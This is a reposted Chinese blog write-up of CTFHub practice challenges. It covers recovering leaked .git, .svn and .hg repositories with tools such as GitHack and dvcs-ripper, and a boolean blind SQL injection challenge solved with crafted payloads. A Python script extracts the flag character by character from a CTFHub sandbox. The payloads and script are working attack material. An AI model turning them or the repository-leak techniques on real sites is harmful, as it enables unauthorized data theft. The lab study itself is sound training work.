ctfhub学习与题解

时间:2020-03-18 23:31:02   收藏:0   阅读:233

常用备份文件名

信息泄露

Log

这是一个源码泄露的例子,使用Fuzz扫描,发现存在git源码泄露,利用githack获取仓库信息。

技术分享图片

git常用命令:

git log     查看历史记录
git reset   切换版本
git dirr    对比两次提交

使用git log 查看历史记录

技术分享图片

解法一:

直接与 add flag (abafbe) 这次提交进行比对

技术分享图片

解法二

直接切换到 add flag (abafbe) 这个版本

技术分享图片

Stash

stash命令可用于临时保存和回复修改

技术分享图片

获得flag

技术分享图片

SVN

扫描发现有 .svn/ 目录,确认是 .svn 泄露。

使用svnExploit发现一个可疑的txt文件,已经被删除,无法还原。

使用 dvcs-ripper 工具中的 rip-svn.pl 脚本进行 clone.

查找已经删除的文件,得到flag

技术分享图片

HG

扫描发现有 .hg/ 目录,确认是 .hg 泄露。使用 dvcs-ripper 工具中的 rip-hg.pl 脚本进行 clone.

技术分享图片

发现直接执行 hg status 出错,工具 clone 的时候并没有 clone 完整。不要过分迷信工具。

解法一

查看.hg/store/fncache可知 flag 的文件名为flag_88274161.txt,直接访问即可得 flag

技术分享图片

解法二

如果服务端删除了 flag 文件的话,那么可尝试从历史记录里寻找。路径是 .hg/store/data/flag__88274161.txt.i 注意下划线是两个

技术分享图片

SQL注入

布尔盲注

查看页面:

技术分享图片

尝试输入测试信息:

技术分享图片

技术分享图片

提示为布尔注入,构造相应payload:

?id=1 and ascii(substr((select database()),1,1))>108

发现不管是否返回数据,都会显示query_success

根据老哥们的提示,得到一个骚操作:

?id=if(ascii(substr((select flag from flag),1,1))=99,1,(select table_name from information_schema.tables))

如果判断正确则返回query_error;如果判断错误则构造错误查询语句,返回query_error

python脚本如下:

import requests
table = ""
list_1 = [element for element in range(48,58)]
list_2 = [element for element in range(97,126)]
list_0 = list_1 + list_2

session = requests.session()
url = "http://challenge-4f5472e95739be70.sandbox.ctfhub.com:10080/"

for i in range(1,50):
    print(i)
    for j in list_0:
        payload = "if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))"%(i,j)
        str_get = session.get(url=url + '?id=' + payload).text
        if 'query_success' in str_get:
            table += chr(j)
            print(table)
            break

技术分享图片

原文:https://www.cnblogs.com/chalan630/p/12521146.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!